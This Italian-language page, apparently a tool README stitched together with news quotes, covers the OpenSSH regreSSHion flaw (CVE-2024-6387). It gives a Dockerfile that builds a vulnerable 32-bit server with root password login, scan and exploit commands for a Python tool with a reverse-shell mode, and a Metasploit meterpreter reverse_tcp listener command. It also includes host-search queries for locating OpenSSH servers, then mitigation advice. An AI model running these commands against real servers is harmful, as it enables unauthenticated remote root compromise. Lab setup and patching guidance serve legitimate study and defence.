
Scansiona e sfrutta CVE-2024-6387 (regreSSHion) nei server OpenSSH. Include scansione multi-thread, recupero del banner, rilevamento del tempo di grazia e modalità di exploit con payload di reverse shell.
Si tratta essenzialmente di una vulnerabilità statistica: è necessario un numero elevato di tentativi per vincere la race condition ed eseguire con successo codice arbitrario. Gli attaccanti devono superare molti ostacoli, ha dichiarato Schwartz a SecurityWeek. "Anche nello scenario migliore, la vulnerabilità più nota richiede oltre 4 ore per essere sfruttata."
Nelle note di rilascio di OpenSSH 9.8, gli sviluppatori hanno osservato che la vulnerabilità è stata confermata solo su sistemi Linux a 32 bit basati su glibc, e che OpenBSD non è interessato.
L'ambiente viene configurato utilizzando Docker.
# 1.1. Scrittura del Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCLo exploit funziona SOLO per server OpenSSH a 32 bit. Questo è dovuto al fatto che il PoC utilizza puntatori a 32 bit! È inoltre noto che alcune versioni sono già state corrette e non tutti i server sono vulnerabili. Testato su: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilità di esecuzione di codice arbitrario remota non autenticata nel server OpenSSH
CVE-2024-6387.py è uno strumento leggero ed efficiente progettato per identificare server che eseguono versioni vulnerabili di OpenSSH, mirando specificamente alla vulnerabilità regreSSHion scoperta di recente (CVE-2024-6387). Questo script facilita la scansione rapida di più indirizzi IP, nomi di dominio e intervalli di rete CIDR per rilevare potenziali vulnerabilità e garantire la sicurezza della propria infrastruttura.
È stata trovata una race condition nel gestore dei segnali del server OpenSSH (sshd), in cui un client non si autentica entro LoginGraceTime secondi (120 di default, 600 nelle vecchie versioni di OpenSSH), quindi il gestore SIGALRM di sshd viene chiamato in modo asincrono. Tuttavia, questo gestore dei segnali chiama varie funzioni che non sono async-signal-safe, ad esempio syslog().
Puoi trovare i dettagli tecnici qui.
La falla, scoperta dai ricercatori di Qualys nel maggio 2024 e a cui è stato assegnato l'identificatore CVE-2024-6387, è dovuta a una race condition nel gestore dei segnali di sshd che consente ad attaccanti remoti non autenticati di eseguire codice arbitrario come root.
"Se un client non si autentica entro LoginGraceTime secondi (120 di default), allora il gestore SIGALRM di sshd viene chiamato in modo asincrono e chiama varie funzioni che non sono async-signal-safe",
"Un attaccante remoto non autenticato può sfruttare questa falla per eseguire codice arbitrario con privilegi di root."
Requisito: python3 aggiornato
### Argomenti della riga di comando
mode: Seleziona la modalità di funzionamento. Le scelte sono scan o exploit.
-T, --targets: Indirizzi IP, nomi di dominio, percorsi di file contenenti indirizzi IP o intervalli di rete CIDR.
-f, --outputfile: File in cui salvare i risultati (ad es., result.json).
-g, --gracetimecheck: Tempo in secondi da attendere dopo l'identificazione della versione per verificare la mitigazione LoginGraceTime (default: 120 secondi).
-n, --nic: NIC di rete (default: 'eth0').
-o, --output: Formato di output per i risultati (scelte: 'csv', 'txt', 'json').
-p, --port: Numero di porta da controllare o sfruttare (default: 22).
-s, --speed: Numero di thread per aumentare le possibilità di race condition (default: 10).
-t, --timeout: Timeout di connessione in secondi (default: 1 secondo).
-H, --resolve-hostnames: Risolvi i nomi host
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tutto ciò che devi fare è eseguire prima il comando seguente (cambia il gestore {yourip}) ed eseguire lo exploit successivamente con il comando sopra
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Lo strumento fornisce un output codificato a colori sulla console per una migliore leggibilità:
Verde: Connessione o operazione riuscita. Rosso: Connessione fallita o errore. Giallo: Avvisi o informazioni degne di nota. Ciano: Informazioni generali o aggiornamenti di stato.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestione delle patch: Applicare rapidamente le patch disponibili per OpenSSH è fondamentale per chiudere il divario di vulnerabilità. Una correzione tempestiva garantisce che gli exploit noti non possano essere utilizzati contro i tuoi sistemi, riducendo così la finestra di opportunità per gli attaccanti.
Controllo degli accessi potenziato: Limitare l'accesso SSH tramite controlli basati sulla rete aggiunge un ulteriore livello di difesa. Questo approccio riduce al minimo l'esposizione a potenziali attaccanti limitando le connessioni SSH solo a reti o indirizzi IP autorizzati. L'implementazione di strumenti come regole firewall o l'uso di VPN per un accesso sicuro può far rispettare efficacemente queste restrizioni.
Segmentazione della rete: Dividere la rete in segmenti aiuta a contenere l'impatto di una potenziale violazione. Segmentando i sistemi critici e i dati sensibili dalle parti meno critiche della rete, si riduce il rischio di movimento laterale da parte degli attaccanti. Questa segmentazione può essere integrata con controlli di accesso rigorosi e monitoraggio per rilevare e rispondere a qualsiasi tentativo non autorizzato di violare questi segmenti.
Sistemi di rilevamento delle intrusioni (IDS): L'implementazione di sistemi IDS o di prevenzione delle intrusioni (IPS) consente il monitoraggio in tempo reale del traffico di rete e dei log di sistema. Questi sistemi possono rilevare attività sospette e potenziali tentativi di sfruttamento associati alla vulnerabilità regreSSHion. Gli avvisi attivati da tali sistemi consentono un'indagine e una mitigazione tempestive prima che possano verificarsi danni significativi.
Monitoraggio dei tentativi di sfruttamento: Il monitoraggio continuo dei log di rete e di sistema è fondamentale. Cerca eventuali modelli o attività insoliti che potrebbero indicare un tentativo di sfruttare la vulnerabilità OpenSSH. Questo approccio proattivo aiuta a identificare e rispondere alle minacce prima che possano causare danni.